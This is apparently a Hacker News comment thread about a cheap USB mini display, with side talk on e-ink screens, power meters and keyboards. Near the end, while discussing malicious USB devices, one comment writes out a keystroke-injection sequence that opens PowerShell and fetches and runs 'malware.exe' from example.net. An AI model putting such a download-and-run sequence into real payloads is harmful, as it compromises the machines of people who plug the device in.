((I really wanted the latter display to work on my Mac, but there's unfortunately some OS-level USB buffering (I think) that ends up creating a corrupted image - https://github.com/mathoudebine/turing-smart-screen-python/i... ))
Yes that's the essence of most hobby computing.
When I grew up in the 90s and 00s, screens were definitely the most expensive part of any system they belonged to. And any gadget that came with its own screen attached to it was regarded as a delicacy only for the elite.
Living long enough to see "disposable" screens cheaper than literal candy getting attached everywhere makes me happy.
Can't wait to see Gemini-2.5 Pro-level LLMs embedded inside single post-it notes and thrown away like it's no big deal.
Like this?
https://www.tomshardware.com/pc-components/ram/new-ddr5-modu...
That said, I am very appreciative of my 'inline USB-C power draw monitor' from a standpoint of understanding what kind of draw a given device has (up to it's limit ofc)
I have a couple of those and I love them!
Mine support up to 100W power draw.
Before I got them, I hadn’t ever considered that a variable amount of power could be drawn by a laptop while charging.
For example, right now my laptop is at 63% battery and currently charging. It’s drawing 36W at the moment. When the battery charge is lower, it’s drawing more power from the outlet, and the higher the battery charge is getting, the less power it’s drawing from the outlet.
Assuming you like that kind of thing, maybe you can also test the power drain from displaying seconds in the taskbar in Windows 11. I know Raymond Chen posted an article about it, but I’d be interested whether you can spot a difference. If it really is on the order of 5 mW, then I assume you can’t detect it.
One of the downsides of only using a laptop is that you can’t see this level of detail because the battery acts as a buffer.
From memory, 5W when running (not enough to prevent the battery slowly draining), 10W when in standby.
This is because Li-Ion charging logic is known as "CC-CV", or constant current followed by constant voltage. You limit the charging current to some value (say 1A) until the cell attains the target voltage (almost always 4.2V, though some chargers limit it to 4.1V to prolong cell life), and then you hold it at that voltage until the current diminishes significantly (most chargers cut the cell off and indicate charge complete when the current draw drops to 10% of its max (during the CC phase) charge current, i.e. 100mA here).
Maybe also show the drive label and something about the partition table, although that requires inspecting the storage contents.
I wouldn't pay much more for that, though, and I don't know how many people would pay any premium at all.
Its menu is impossible to navigate.
Same for my office phone.
Imagine AA batteries with little LCD screens.
You're probably shaking your fist at touch controls ? Would you be mad if it was a button or knob with some display ?
Think this was $1200. Honestly don’t think I would spend any extra money on dynamic keys- I never look at my keyboard.
It was like: wow this is overkill... but it looks so nice with custom layouts that match the games.
Makes sense that they moved from individual screens to one big one under a bunch of transparent keys.
I remember working on the host software for a thing similar to the display we're discussing around ... 2012.
It never went into manufacturing though. Some combination of Win 7 dropping sideshow and ... some widget feature we also mirrored.
As I worked through countless of those keyboards I mused that what it needed was a little screen on each keycap, so I could just do my job using software.
This was in 1982. Seems like we're nearly there.
The most impressive was the Optimus Maximus someone else mentioned in a comment.
Yo, dawg:
It may be a cool gadget, but it may be vaporware and/or blogspam.
e.g. https://www.cnx-software.com/2025/03/21/jetkvm-a-69-kvm-over...
https://youtu.be/LC3INaZVqFA?si=2BV5N3_7TtWPRlUj
It even has USB power and speakers.
I actually used it again recently while setting up a new home server, got me as far as SSH access.
It wasn't super cheap, but not that expensive either.
https://www.peakdo.com/PeakDo-Ultra-thin-light-7-inch-Multip...
I used one of these to make a teleprompter-style videoconference setup at home during the pandemic, so I could make eye contact with other meeting participants.
I think that would work very well in a headless/data center scenario.
It inspired me much later to buy a 7" LCD for the same purpose. You can find them as Raspberry Pi accessories. Some of them have HDMI input, most use USB for power, and they are cheap - about 50€. The downside is that they tend to be almost bare circuit boards with a bit of plexiglass framing + stand.
There are also "DVD watching screens" for car headrests, which are more sturdy with a thick case. The downside there is that power supply (12, 1A or so) is more of a hassle, and good luck finding one without overscan. It's not in the specs if they have it or if it can be disabled.
- USB power + data
- Open interface so I can drive it from my own software on the host (but not like a traditional monitor, I imagine more uploading pre-rendered bitmaps)
- Image retention when powered off
- High resolution paper like appearance
- Between A5 and A4 in size
- At least black, red and yellow as colors
- Buttons or a way to connect buttons would be a bonus
If anyone has a tip, I'd be grateful.
And yet it still seems out of reach beyond going with a full hdmi eink display.
The closest I have found is the M5Stack 4.7” eink display with built in esp32 and lipo battery.
https://www.cnx-software.com/2025/09/06/reterminal-e1001-e10...
Very expensive.
For $59 you can get M5PaperS3 ESP32S3 Development Kit (960x540, 4.7" eInk Display, 235 ppi)
https://shop.m5stack.com/products/m5papers3-esp32s3-developm...
Or you can get:
https://lilygo.cc/products/t5-e-paper-s3-pro
But these have 4.7 inch display.
You can probably hack and repurpose old e-readers if you can be bothered with the technical pain.
In my mind , the labor rate for a professional is a minimum of 1.00 per minute. This package would be essentially one hour of billable time at the (lowest) rate a professional would bill themselves out at.
Presuming it’s FLO or at least some kind of simple AT command set and meets all the other requirements, I’m really struggling to understand how it’s expensive ?
I mean , sure if you need 10k of them or something.
Are people really this price sensitive ?
It's not rare these days for people outside Asia to have completely broken mental math of engineering man-hours required for a product or how extremely subsidized the products in their hands are. iPhones can be bought for $499 not because they've figured out AI design and robotic mass production over in China, it's because they're leaving $2k-4k per unit on the table to be blown away in wind. And ultimately it's because that money is only nicety to them, not vital.
Which means, if you do the labor on your soil, your local economy will demand that amount to be on table plus some, counted, bound, and placed under a weight.
I bought a generic epaper display from aliexpress, a 5.8 inch 648x480 one that could do white/black/red with an SPI interface, then I wired that to an RP2040 board, then wrote a bit of circuitpython firmware for that which could receive commands over USB and draw stuff on the display.
I got as far as being able to send images to it, and writing a little host program on my PC that would do a partial screen update on a clock display and CPU/GPU temperatures once a minute, and draw a Mandelbrot set in the remaining space, with a full screen refresh every 15 minutes because it needed it, and a several minute “exercise” routine that would take every pixel from white to black to red and back to white at midnight, to improve screen appearance longer term.
And then I got bored/annoyed with it as the refresh was so slow (~30s for a red update) and the rp2040 needed me to manually press its reset button after every windows boot or the usb device wasn’t recognised. I thought about rewriting the firmware in C in case it was circuitpython that was flakey … but lost the impetus.
Spectra color so high res and beautiful with built in esp32.
https://www.alibaba.com/showroom/electronic-shelf-label.html
Were they a success?
Useless and no physical ESC for vim.
It also wasn’t optional, if you wanted a higher spec’d MacBook it was coming with a touchbar.
The keyboards of that era also had problems.
I want to believe that a department at Apple, deep in the basement of some outbuilding, knows that there are people like me who feel so let down by them. Maybe if you can find them and you know the secret knock then they’ll slide open a hatch and say sorry before telling you to leave? Sorry.
Ten years later and I am of course much happier with my FOSS laptop.
“You’re holding it wrong.”
— Steve Jobs re antennagate
I remap Capslocks to ESC which is even easier.
Super+R
(Sleep for 1 second)
powershell.exe (Enter)
(Sleep for 1 second)
wget http://example.net/malware.exe | cmd (Enter)
https://www.amazon.com/LONYIABBI-Electronic-Simulation-Power...
I'd speculate those came first (kinda popular with streamers and such, I think) and they basically just added a usb port. In the product video you can even see that they arrive as individual sticks to be plugged in.
It is probably easier and cheaper to have 6x separate display & microcontroller and update each one independently
Obviously it’s not the same price range but the Stream Deck is way more useful and user friendly.
Banking used to have dedicated dongles with displays before but now also changed to apps. Yubikeys don't seem to be as popular as they deserve. People simply want to carry less things around that can be lost and it's hard to beat the security/convenience ratio of Face ID.
Malicious USB devices are fairly common, and this certainly has the 'right' form factor.
There's a reason 'do not plug in a USB drive you have found in the parking lot' is reiterated in every corp security training.
As for inserting keystrokes, that will be obvious if it enumerates as a keyboard.
You should turn down your paranoia a little more.
While I can try and conjecture how those might work, that's not really in my lane.
This is true, but this also doesn't need to happen at insertion time. An HID keyboard can show up, say, 3 hours after you plug it in.
I miss grsecurity's patch set so much. It had an option to defeat this (deny all USB device enumeration post-boot, i.e. after the kernel executes init).
It’s a strange thing but there’s a direct line from creative desire to buying then not doing.
This is why I have so much electronics junk it’s all projects that I “completed” when I hit the buy button on Aliexpress.
Also I need to sell an oscilloscope and a bench power supply :)
Point is: Having the drawers of 'I'll save this just in case!' in all hobbies does in fact come in handy. I find this especially true when some sort of project requires 'yet another adapter' to convert thing a to thing b. Project either goes through or it doesn't, but later on when trying to attack something else, having that little drawer full of weird but useful cables and adapters within living room walking distance sure feels rewarding.
Really wish they'd include a real life image of the display though. Article author acknowledges this, but still...substantially detracts usefulness of write-up
>Not an actual photo, as I could not find any with the display connected to a host
One of the use cases i like is a visible indicator of when the Video camera/ screenshare or microphone is on -- and if the user wishes to, display that status (busy/on air) to others around them (like some over-the-ear headphones currently do).
It will serve was a reminder to the user themselves to be mindful of the cam/screen/mic -- and also to nearby people not to disturb them to walk into camera frame unintentionally.
I am sure there are tons of other uses for those willing to experiment.
You do have to code it yourself if you want to display information on it. However it has all the goodies of the ESP32S3 which is a very powerful MCU with wifi and bluetooth.
For fun I ported my railway station display [2] firmware which also runs on a ESP32S3 to it [3]. Cool little gadget.
[1] https://lilygo.cc/products/t-dongle-s3
It could well be cheap to get a bunch of Westerners to self-pwn their machines.
downrightmike•4mo ago
inChargeOfIT•4mo ago
dark-star•4mo ago